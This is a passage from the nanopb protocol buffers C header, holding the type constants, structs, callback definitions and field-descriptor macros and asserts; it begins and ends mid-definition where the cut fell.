* The field contains a pointer to pb_extension_t */
#define PB_LTYPE_EXTENSION 0x0AU
/* Byte array with inline, pre-allocated byffer.
* data_size is the length of the inline, allocated buffer.
* This differs from PB_LTYPE_BYTES by defining the element as
* pb_byte_t[data_size] rather than pb_bytes_array_t. */
#define PB_LTYPE_FIXED_LENGTH_BYTES 0x0BU
/* Number of declared LTYPES */
#define PB_LTYPES_COUNT 0x0CU
#define PB_LTYPE_MASK 0x0FU
/**** Field repetition rules ****/
#define PB_HTYPE_REQUIRED 0x00U
#define PB_HTYPE_OPTIONAL 0x10U
#define PB_HTYPE_SINGULAR 0x10U
#define PB_HTYPE_REPEATED 0x20U
#define PB_HTYPE_FIXARRAY 0x20U
#define PB_HTYPE_ONEOF 0x30U
#define PB_HTYPE_MASK 0x30U
/**** Field allocation types ****/
#define PB_ATYPE_STATIC 0x00U
#define PB_ATYPE_POINTER 0x80U
#define PB_ATYPE_CALLBACK 0x40U
#define PB_ATYPE_MASK 0xC0U
#define PB_ATYPE(x) ((x) & PB_ATYPE_MASK)
#define PB_HTYPE(x) ((x) & PB_HTYPE_MASK)
#define PB_LTYPE(x) ((x) & PB_LTYPE_MASK)
#define PB_LTYPE_IS_SUBMSG(x) (PB_LTYPE(x) == PB_LTYPE_SUBMESSAGE || \
PB_LTYPE(x) == PB_LTYPE_SUBMSG_W_CB)
/* Data type used for storing sizes of struct fields
* and array counts.
*/
#if defined(PB_FIELD_32BIT)
typedef uint32_t pb_size_t;
typedef int32_t pb_ssize_t;
#else
typedef uint_least16_t pb_size_t;
typedef int_least16_t pb_ssize_t;
#endif
#define PB_SIZE_MAX ((pb_size_t)-1)
/* Forward declaration of struct types */
typedef struct pb_istream_s pb_istream_t;
typedef struct pb_ostream_s pb_ostream_t;
typedef struct pb_field_iter_s pb_field_iter_t;
/* This structure is used in auto-generated constants
* to specify struct fields.
*/
typedef struct pb_msgdesc_s pb_msgdesc_t;
struct pb_msgdesc_s {
const uint32_t *field_info;
const pb_msgdesc_t * const * submsg_info;
const pb_byte_t *default_value;
bool (*field_callback)(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_iter_t *field);
pb_size_t field_count;
pb_size_t required_field_count;
pb_size_t largest_tag;
};
/* Iterator for message descriptor */
struct pb_field_iter_s {
const pb_msgdesc_t *descriptor; /* Pointer to message descriptor constant */
void *message; /* Pointer to start of the structure */
pb_size_t index; /* Index of the field */
pb_size_t field_info_index; /* Index to descriptor->field_info array */
pb_size_t required_field_index; /* Index that counts only the required fields */
pb_size_t submessage_index; /* Index that counts only submessages */
pb_size_t tag; /* Tag of current field */
pb_size_t data_size; /* sizeof() of a single item */
pb_size_t array_size; /* Number of array entries */
pb_type_t type; /* Type of current field */
void *pField; /* Pointer to current field in struct */
void *pData; /* Pointer to current data contents. Different than pField for arrays and pointers. */
void *pSize; /* Pointer to count/has field */
const pb_msgdesc_t *submsg_desc; /* For submessage fields, pointer to field descriptor for the submessage. */
};
/* For compatibility with legacy code */
typedef pb_field_iter_t pb_field_t;
/* Make sure that the standard integer types are of the expected sizes.
* Otherwise fixed32/fixed64 fields can break.
*
* If you get errors here, it probably means that your stdint.h is not
* correct for your platform.
*/
#ifndef PB_WITHOUT_64BIT
PB_STATIC_ASSERT(sizeof(int64_t) == 2 * sizeof(int32_t), INT64_T_WRONG_SIZE)
PB_STATIC_ASSERT(sizeof(uint64_t) == 2 * sizeof(uint32_t), UINT64_T_WRONG_SIZE)
#endif
/* This structure is used for 'bytes' arrays.
* It has the number of bytes in the beginning, and after that an array.
* Note that actual structs used will have a different length of bytes array.
*/
#define PB_BYTES_ARRAY_T(n) struct { pb_size_t size; pb_byte_t bytes[n]; }
#define PB_BYTES_ARRAY_T_ALLOCSIZE(n) ((size_t)n + offsetof(pb_bytes_array_t, bytes))
struct pb_bytes_array_s {
pb_size_t size;
pb_byte_t bytes[1];
};
typedef struct pb_bytes_array_s pb_bytes_array_t;
/* This structure is used for giving the callback function.
* It is stored in the message structure and filled in by the method that
* calls pb_decode.
*
* The decoding callback will be given a limited-length stream
* If the wire type was string, the length is the length of the string.
* If the wire type was a varint/fixed32/fixed64, the length is the length
* of the actual value.
* The function may be called multiple times (especially for repeated types,
* but also otherwise if the message happens to contain the field multiple
* times.)
*
* The encoding callback will receive the actual output stream.
* It should write all the data in one call, including the field tag and
* wire type. It can write multiple fields.
*
* The callback can be null if you want to skip a field.
*/
typedef struct pb_callback_s pb_callback_t;
struct pb_callback_s {
/* Callback functions receive a pointer to the arg field.
* You can access the value of the field as *arg, and modify it if needed.
*/
union {
bool (*decode)(pb_istream_t *stream, const pb_field_t *field, void **arg);
bool (*encode)(pb_ostream_t *stream, const pb_field_t *field, void * const *arg);
} funcs;
/* Free arg for use by callback */
void *arg;
};
extern bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field);
/* Wire types. Library user needs these only in encoder callbacks. */
typedef enum {
PB_WT_VARINT = 0,
PB_WT_64BIT = 1,
PB_WT_STRING = 2,
PB_WT_32BIT = 5,
PB_WT_PACKED = 255 /* PB_WT_PACKED is internal marker for packed arrays. */
} pb_wire_type_t;
/* Structure for defining the handling of unknown/extension fields.
* Usually the pb_extension_type_t structure is automatically generated,
* while the pb_extension_t structure is created by the user. However,
* if you want to catch all unknown fields, you can also create a custom
* pb_extension_type_t with your own callback.
*/
typedef struct pb_extension_type_s pb_extension_type_t;
typedef struct pb_extension_s pb_extension_t;
struct pb_extension_type_s {
/* Called for each unknown field in the message.
* If you handle the field, read off all of its data and return true.
* If you do not handle the field, do not read anything and return true.
* If you run into an error, return false.
* Set to NULL for default handler.
*/
bool (*decode)(pb_istream_t *stream, pb_extension_t *extension,
uint32_t tag, pb_wire_type_t wire_type);
/* Called once after all regular fields have been encoded.
* If you have something to write, do so and return true.
* If you do not have anything to write, just return true.
* If you run into an error, return false.
* Set to NULL for default handler.
*/
bool (*encode)(pb_ostream_t *stream, const pb_extension_t *extension);
/* Free field for use by the callback. */
const void *arg;
};
struct pb_extension_s {
/* Type describing the extension field. Usually you'll initialize
* this to a pointer to the automatically generated structure. */
const pb_extension_type_t *type;
/* Destination for the decoded data. This must match the datatype
* of the extension field. */
void *dest;
/* Pointer to the next extension handler, or NULL.
* If this extension does not match a field, the next handler is
* automatically called. */
pb_extension_t *next;
/* The decoder sets this to true if the extension was found.
* Ignored for encoding. */
bool found;
};
#define pb_extension_init_zero {NULL,NULL,NULL,false}
/* Memory allocation functions to use. You can define pb_realloc and
* pb_free to custom functions if you want. */
#ifdef PB_ENABLE_MALLOC
# ifndef pb_realloc
# define pb_realloc(ptr, size) realloc(ptr, size)
# endif
# ifndef pb_free
# define pb_free(ptr) free(ptr)
# endif
#endif
/* This is used to inform about need to regenerate .pb.h/.pb.c files. */
#define PB_PROTO_HEADER_VERSION 40
/* These macros are used to declare pb_field_t's in the constant array. */
/* Size of a structure member, in bytes. */
#define pb_membersize(st, m) (sizeof ((st*)0)->m)
/* Number of entries in an array. */
#define pb_arraysize(st, m) (pb_membersize(st, m) / pb_membersize(st, m[0]))
/* Delta from start of one member to the start of another member. */
#define pb_delta(st, m1, m2) ((int)offsetof(st, m1) - (int)offsetof(st, m2))
/* Force expansion of macro value */
#define PB_EXPAND(x) x
/* Binding of a message field set into a specific structure */
#define PB_BIND(msgname, structname, width) \
const uint32_t structname ## _field_info[] PB_PROGMEM = \
{ \
msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ ## width, structname) \
0 \
}; \
const pb_msgdesc_t* const structname ## _submsg_info[] = \
{ \
msgname ## _FIELDLIST(PB_GEN_SUBMSG_INFO, structname) \
NULL \
}; \
const pb_msgdesc_t structname ## _msg = \
{ \
structname ## _field_info, \
structname ## _submsg_info, \
msgname ## _DEFAULT, \
msgname ## _CALLBACK, \
0 msgname ## _FIELDLIST(PB_GEN_FIELD_COUNT, structname), \
0 msgname ## _FIELDLIST(PB_GEN_REQ_FIELD_COUNT, structname), \
0 msgname ## _FIELDLIST(PB_GEN_LARGEST_TAG, structname), \
}; \
msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ASSERT_ ## width, structname)
#define PB_GEN_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) +1
#define PB_GEN_REQ_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) \
+ (PB_HTYPE_ ## htype == PB_HTYPE_REQUIRED)
#define PB_GEN_LARGEST_TAG(structname, atype, htype, ltype, fieldname, tag) \
* 0 + tag
/* X-macro for generating the entries in struct_field_info[] array. */
#define PB_GEN_FIELD_INFO_1(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_GEN_FIELD_INFO_2(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_GEN_FIELD_INFO_4(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_GEN_FIELD_INFO_8(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_GEN_FIELD_INFO_AUTO(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \
tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_FIELDINFO_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \
PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size)
#define PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \
PB_FIELDINFO_ ## width(tag, type, data_offset, data_size, size_offset, array_size)
/* X-macro for generating asserts that entries fit in struct_field_info[] array.
* The structure of macros here must match the structure above in PB_GEN_FIELD_INFO_x(),
* but it is not easily reused because of how macro substitutions work. */
#define PB_GEN_FIELD_INFO_ASSERT_1(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_ASSERT_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_GEN_FIELD_INFO_ASSERT_2(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_ASSERT_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_GEN_FIELD_INFO_ASSERT_4(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_ASSERT_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_GEN_FIELD_INFO_ASSERT_8(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_ASSERT_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_GEN_FIELD_INFO_ASSERT_AUTO(structname, atype, htype, ltype, fieldname, tag) \
PB_FIELDINFO_ASSERT_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \
tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
#define PB_FIELDINFO_ASSERT_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \
PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size)
#define PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \
PB_FIELDINFO_ASSERT_ ## width(tag, type, data_offset, data_size, size_offset, array_size)
#define PB_DATA_OFFSET_STATIC(htype, structname, fieldname) PB_DO ## htype(structname, fieldname)
#define PB_DATA_OFFSET_POINTER(htype, structname, fieldname) PB_DO ## htype(structname, fieldname)
#define PB_DATA_OFFSET_CALLBACK(htype, structname, fieldname) PB_DO ## htype(structname, fieldname)
#define PB_DO_PB_HTYPE_REQUIRED(structname, fieldname) offsetof(structname, fieldname)
#define PB_DO_PB_HTYPE_SINGULAR(structname, fieldname) offsetof(structname, fieldname)
#define PB_DO_PB_HTYPE_ONEOF(structname, fieldname) offsetof(structname, PB_ONEOF_NAME(FULL, fieldname))
#define PB_DO_PB_HTYPE_OPTIONAL(structname, fieldname) offsetof(structname, fieldname)
#define PB_DO_PB_HTYPE_REPEATED(structname, fieldname) offsetof(structname, fieldname)
#define PB_DO_PB_HTYPE_FIXARRAY(structname, fieldname) offsetof(structname, fieldname)
#define PB_SIZE_OFFSET_STATIC(htype, structname, fieldname) PB_SO ## htype(structname, fieldname)
#define PB_SIZE_OFFSET_POINTER(htype, structname, fieldname) PB_SO_PTR ## htype(structname, fieldname)
#define PB_SIZE_OFFSET_CALLBACK(htype, structname, fieldname) PB_SO_CB ## htype(structname, fieldname)
#define PB_SO_PB_HTYPE_REQUIRED(structname, fieldname) 0
#define PB_SO_PB_HTYPE_SINGULAR(structname, fieldname) 0
#define PB_SO_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF2(structname, PB_ONEOF_NAME(FULL, fieldname), PB_ONEOF_NAME(UNION, fieldname))
#define PB_SO_PB_HTYPE_ONEOF2(structname, fullname, unionname) PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname)
#define PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) pb_delta(structname, fullname, which_ ## unionname)
#define PB_SO_PB_HTYPE_OPTIONAL(structname, fieldname) pb_delta(structname, fieldname, has_ ## fieldname)
#define PB_SO_PB_HTYPE_REPEATED(structname, fieldname) pb_delta(structname, fieldname, fieldname ## _count)
#define PB_SO_PB_HTYPE_FIXARRAY(structname, fieldname) 0
#define PB_SO_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 0
#define PB_SO_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 0
#define PB_SO_PTR_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname)
#define PB_SO_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 0
#define PB_SO_PTR_PB_HTYPE_REPEATED(structname, fieldname) PB_SO_PB_HTYPE_REPEATED(structname, fieldname)
#define PB_SO_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) 0
#define PB_SO_CB_PB_HTYPE_REQUIRED(structname, fieldname) 0
#define PB_SO_CB_PB_HTYPE_SINGULAR(structname, fieldname) 0
#define PB_SO_CB_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname)
#define PB_SO_CB_PB_HTYPE_OPTIONAL(structname, fieldname) 0
#define PB_SO_CB_PB_HTYPE_REPEATED(structname, fieldname) 0
#define PB_SO_CB_PB_HTYPE_FIXARRAY(structname, fieldname) 0
#define PB_ARRAY_SIZE_STATIC(htype, structname, fieldname) PB_AS ## htype(structname, fieldname)
#define PB_ARRAY_SIZE_POINTER(htype, structname, fieldname) PB_AS_PTR ## htype(structname, fieldname)
#define PB_ARRAY_SIZE_CALLBACK(htype, structname, fieldname) 1
#define PB_AS_PB_HTYPE_REQUIRED(structname, fieldname) 1
#define PB_AS_PB_HTYPE_SINGULAR(structname, fieldname) 1
#define PB_AS_PB_HTYPE_OPTIONAL(structname, fieldname) 1
#define PB_AS_PB_HTYPE_ONEOF(structname, fieldname) 1
#define PB_AS_PB_HTYPE_REPEATED(structname, fieldname) pb_arraysize(structname, fieldname)
#define PB_AS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname)
#define PB_AS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 1
#define PB_AS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 1
#define PB_AS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 1
#define PB_AS_PTR_PB_HTYPE_ONEOF(structname, fieldname) 1
#define PB_AS_PTR_PB_HTYPE_REPEATED(structname, fieldname) 1
#define PB_AS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname[0])
#define PB_DATA_SIZE_STATIC(htype, structname, fieldname) PB_DS ## htype(structname, fieldname)
#define PB_DATA_SIZE_POINTER(htype, structname, fieldname) PB_DS_PTR ## htype(structname, fieldname)
#define PB_DATA_SIZE_CALLBACK(htype, structname, fieldname) PB_DS_CB ## htype(structname, fieldname)
#define PB_DS_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname)
#define PB_DS_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname)
#define PB_DS_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname)
#define PB_DS_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname))
#define PB_DS_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0])
#define PB_DS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0])
#define PB_DS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname[0])
#define PB_DS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname[0])
#define PB_DS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname[0])
#define PB_DS_PTR_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)[0])
#define PB_DS_PTR_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0])
#define PB_DS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0][0])
#define PB_DS_CB_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname)
#define PB_DS_CB_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname)
#define PB_DS_CB_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname)
#define PB_DS_CB_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname))
#define PB_DS_CB_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname)
#define PB_DS_CB_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname)
#define PB_ONEOF_NAME(type, tuple) PB_EXPAND(PB_ONEOF_NAME_ ## type tuple)
#define PB_ONEOF_NAME_UNION(unionname,membername,fullname) unionname
#define PB_ONEOF_NAME_MEMBER(unionname,membername,fullname) membername
#define PB_ONEOF_NAME_FULL(unionname,membername,fullname) fullname
#define PB_GEN_SUBMSG_INFO(structname, atype, htype, ltype, fieldname, tag) \
PB_SUBMSG_INFO_ ## htype(_PB_LTYPE_ ## ltype, structname, fieldname)
#define PB_SUBMSG_INFO_REQUIRED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
#define PB_SUBMSG_INFO_SINGULAR(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
#define PB_SUBMSG_INFO_OPTIONAL(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
#define PB_SUBMSG_INFO_ONEOF(ltype, structname, fieldname) PB_SUBMSG_INFO_ONEOF2(ltype, structname, PB_ONEOF_NAME(UNION, fieldname), PB_ONEOF_NAME(MEMBER, fieldname))
#define PB_SUBMSG_INFO_ONEOF2(ltype, structname, unionname, membername) PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername)
#define PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) PB_SI ## ltype(structname ## _ ## unionname ## _ ## membername ## _MSGTYPE)
#define PB_SUBMSG_INFO_REPEATED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
#define PB_SUBMSG_INFO_FIXARRAY(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
#define PB_SI_PB_LTYPE_BOOL(t)
#define PB_SI_PB_LTYPE_BYTES(t)
#define PB_SI_PB_LTYPE_DOUBLE(t)
#define PB_SI_PB_LTYPE_ENUM(t)
#define PB_SI_PB_LTYPE_UENUM(t)
#define PB_SI_PB_LTYPE_FIXED32(t)
#define PB_SI_PB_LTYPE_FIXED64(t)
#define PB_SI_PB_LTYPE_FLOAT(t)
#define PB_SI_PB_LTYPE_INT32(t)
#define PB_SI_PB_LTYPE_INT64(t)
#define PB_SI_PB_LTYPE_MESSAGE(t) PB_SUBMSG_DESCRIPTOR(t)
#define PB_SI_PB_LTYPE_MSG_W_CB(t) PB_SUBMSG_DESCRIPTOR(t)
#define PB_SI_PB_LTYPE_SFIXED32(t)
#define PB_SI_PB_LTYPE_SFIXED64(t)
#define PB_SI_PB_LTYPE_SINT32(t)
#define PB_SI_PB_LTYPE_SINT64(t)
#define PB_SI_PB_LTYPE_STRING(t)
#define PB_SI_PB_LTYPE_UINT32(t)
#define PB_SI_PB_LTYPE_UINT64(t)
#define PB_SI_PB_LTYPE_EXTENSION(t)
#define PB_SI_PB_LTYPE_FIXED_LENGTH_BYTES(t)
#define PB_SUBMSG_DESCRIPTOR(t) &(t ## _msg),
/* The field descriptors use a variable width format, with width of either
* 1, 2, 4 or 8 of 32-bit words. The two lowest bytes of the first byte always
* encode the descriptor size, 6 lowest bits of field tag number, and 8 bits
* of the field type.
*
* Descriptor size is encoded as 0 = 1 word, 1 = 2 words, 2 = 4 words, 3 = 8 words.
*
* Formats, listed starting with the least significant bit of the first word.
* 1 word: [2-bit len] [6-bit tag] [8-bit type] [8-bit data_offset] [4-bit size_offset] [4-bit data_size]
*
* 2 words: [2-bit len] [6-bit tag] [8-bit type] [12-bit array_size] [4-bit size_offset]
* [16-bit data_offset] [12-bit data_size] [4-bit tag>>6]
*
* 4 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit array_size]
* [8-bit size_offset] [24-bit tag>>6]
* [32-bit data_offset]
* [32-bit data_size]
*
* 8 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit reserved]
* [8-bit size_offset] [24-bit tag>>6]
* [32-bit data_offset]
* [32-bit data_size]
* [32-bit array_size]
* [32-bit reserved]
* [32-bit reserved]
* [32-bit reserved]
*/
#define PB_FIELDINFO_1(tag, type, data_offset, data_size, size_offset, array_size) \
(0 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(data_offset) & 0xFF) << 16) | \
(((uint32_t)(size_offset) & 0x0F) << 24) | (((uint32_t)(data_size) & 0x0F) << 28)),
#define PB_FIELDINFO_2(tag, type, data_offset, data_size, size_offset, array_size) \
(1 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFF) << 16) | (((uint32_t)(size_offset) & 0x0F) << 28)), \
(((uint32_t)(data_offset) & 0xFFFF) | (((uint32_t)(data_size) & 0xFFF) << 16) | (((uint32_t)(tag) & 0x3c0) << 22)),
#define PB_FIELDINFO_4(tag, type, data_offset, data_size, size_offset, array_size) \
(2 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFFF) << 16)), \
((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \
(data_offset), (data_size),
#define PB_FIELDINFO_8(tag, type, data_offset, data_size, size_offset, array_size) \
(3 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8)), \
((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \
(data_offset), (data_size), (array_size), 0, 0, 0,
/* These assertions verify that the field information fits in the allocated space.
* The generator tries to automatically determine the correct width that can fit all
* data associated with a message. These asserts will fail only if there has been a
* problem in the automatic logic - this may be worth reporting as a bug. As a workaround,
* you can increase the descriptor width by defining PB_FIELDINFO_WIDTH or by setting
* descriptorsize option in .options file.
*/
#define PB_FITS(value,bits) ((uint32_t)(value) < ((uint32_t)1<<bits))
#define PB_FIELDINFO_ASSERT_1(tag, type, data_offset, data_size, size_offset, array_size) \
PB_STATIC_ASSERT(PB_FITS(tag,6) && PB_FITS(data_offset,8) && PB_FITS(size_offset,4) && PB_FITS(data_size,4) && PB_FITS(array_size,1), FIELDINFO_DOES_NOT_FIT_width1_field ## tag)
#define PB_FIELDINFO_ASSERT_2(tag, type, data_offset, data_size, size_offset, array_size) \
PB_STATIC_ASSERT(PB_FITS(tag,10) && PB_FITS(data_offset,16) && PB_FITS(size_offset,4) && PB_FITS(data_size,12) && PB_FITS(array_size,12), FIELDINFO_DOES_NOT_FIT_width2_field ## tag)
#ifndef PB_FIELD_32BIT
/* Maximum field sizes are still 16-bit if pb_size_t is 16-bit */
#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \
PB_STATIC_ASSERT(PB_FITS(tag,16) && PB_FITS(data_offset,16) && PB_FITS((int_least8_t)size_offset,8) && PB_FITS(data_size,16) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag)
#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \
PB_STATIC_ASSERT(PB_FITS(tag,16) && PB_FITS(data_offset,16) && PB_FITS((int_least8_t)size_offset,8) && PB_FITS(data_size,16) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width8_field ## tag)
#else
/* Up to 32-bit fields supported.
* Note that the checks are against 31 bits to avoid compiler warnings about shift wider than type in the test.
* I expect that there is no reasonable use for >2GB messages with nanopb anyway.
*/
#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \
